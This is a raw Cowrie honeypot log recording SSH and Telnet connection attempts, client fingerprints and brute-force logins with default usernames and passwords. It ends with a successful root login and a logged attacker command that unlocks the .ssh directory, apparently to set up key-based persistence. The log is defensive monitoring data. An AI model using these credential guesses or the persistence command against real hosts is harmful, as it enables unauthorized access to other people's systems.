{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:34.294420Z","src_ip":"2.57.122.96","session":"a178461e7014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.154.233.209","src_port":32982,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2391b597c0","protocol":"telnet","message":"New connection: 43.154.233.209:32982 (10.17.0.5:23) [session: 1c2391b597c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:23:42.234008Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":46002,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e77b078ef3","protocol":"ssh","message":"New connection: 154.221.28.214:46002 (159.203.135.109:22) [session: 10e77b078ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:17.191853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:17.196206Z","src_ip":"154.221.28.214","session":"10e77b078ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:20.081086Z","src_ip":"154.221.28.214","session":"10e77b078ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"123456","message":"login attempt [gitlab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:20.688350Z","src_ip":"154.221.28.214","session":"10e77b078ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:21.897459Z","src_ip":"154.221.28.214","session":"10e77b078ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":45246,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad3dc6ca628","protocol":"ssh","message":"New connection: 160.191.244.236:45246 (159.203.135.109:22) [session: 9ad3dc6ca628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:30.299993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:30.303829Z","src_ip":"160.191.244.236","session":"9ad3dc6ca628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:30.530618Z","src_ip":"160.191.244.236","session":"9ad3dc6ca628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"dpassword","message":"login attempt [d/dpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:31.494125Z","src_ip":"160.191.244.236","session":"9ad3dc6ca628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:32.725369Z","src_ip":"160.191.244.236","session":"9ad3dc6ca628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":60298,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48b144ae4d2","protocol":"ssh","message":"New connection: 196.188.63.205:60298 (159.203.135.109:22) [session: a48b144ae4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:40.954619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:40.959826Z","src_ip":"196.188.63.205","session":"a48b144ae4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:41.173048Z","src_ip":"196.188.63.205","session":"a48b144ae4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemonpass","message":"login attempt [daemon/daemonpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:42.058003Z","src_ip":"196.188.63.205","session":"a48b144ae4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:43.272324Z","src_ip":"196.188.63.205","session":"a48b144ae4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.36.75.202","src_port":47468,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe765574eee","protocol":"telnet","message":"New connection: 60.36.75.202:47468 (10.17.0.5:23) [session: 4fe765574eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:24:56.990033Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35028,"dst_ip":"159.203.135.109","dst_port":22,"session":"54fe772ebffd","protocol":"ssh","message":"New connection: 195.178.110.218:35028 (159.203.135.109:22) [session: 54fe772ebffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:01.869181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:01.875194Z","src_ip":"195.178.110.218","session":"54fe772ebffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:01.958662Z","src_ip":"195.178.110.218","session":"54fe772ebffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:02.212362Z","src_ip":"195.178.110.218","session":"54fe772ebffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"2949d387d2c0","protocol":"ssh","message":"New connection: 193.32.162.145:45438 (159.203.135.109:22) [session: 2949d387d2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:03.019475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:03.024774Z","src_ip":"193.32.162.145","session":"2949d387d2c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:03.151646Z","src_ip":"193.32.162.145","session":"2949d387d2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:03.296136Z","src_ip":"195.178.110.218","session":"54fe772ebffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:03.553073Z","src_ip":"193.32.162.145","session":"2949d387d2c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:04.656229Z","src_ip":"193.32.162.145","session":"2949d387d2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:04.929796Z","src_ip":"43.154.233.209","session":"1c2391b597c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.69857978820801,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:04.932494Z","src_ip":"43.154.233.209","session":"1c2391b597c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.709700345993042,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:25:10.699650Z","src_ip":"60.36.75.202","session":"4fe765574eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":53960,"dst_ip":"159.203.135.109","dst_port":22,"session":"49ccc06fa5be","protocol":"ssh","message":"New connection: 154.221.28.214:53960 (159.203.135.109:22) [session: 49ccc06fa5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:26.951476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:26.954925Z","src_ip":"154.221.28.214","session":"49ccc06fa5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:27.154374Z","src_ip":"154.221.28.214","session":"49ccc06fa5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t","password":"T123","message":"login attempt [t/T123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:27.988918Z","src_ip":"154.221.28.214","session":"49ccc06fa5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:29.190970Z","src_ip":"154.221.28.214","session":"49ccc06fa5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":56654,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a02db37abd","protocol":"ssh","message":"New connection: 2.57.122.96:56654 (159.203.135.109:22) [session: 05a02db37abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:33.084478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:33.088958Z","src_ip":"2.57.122.96","session":"05a02db37abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:33.192451Z","src_ip":"2.57.122.96","session":"05a02db37abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"administrator","message":"login attempt [solana/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:33.507513Z","src_ip":"2.57.122.96","session":"05a02db37abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:34.637854Z","src_ip":"2.57.122.96","session":"05a02db37abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":52342,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ec95e225c52","protocol":"ssh","message":"New connection: 160.191.244.236:52342 (159.203.135.109:22) [session: 4ec95e225c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:36.786985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:36.790154Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:37.017278Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:37.966411Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:38.449542Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:26:38.451632Z","src_ip":"160.191.244.236","session":"4ec95e225c52","protocol":"ssh"}
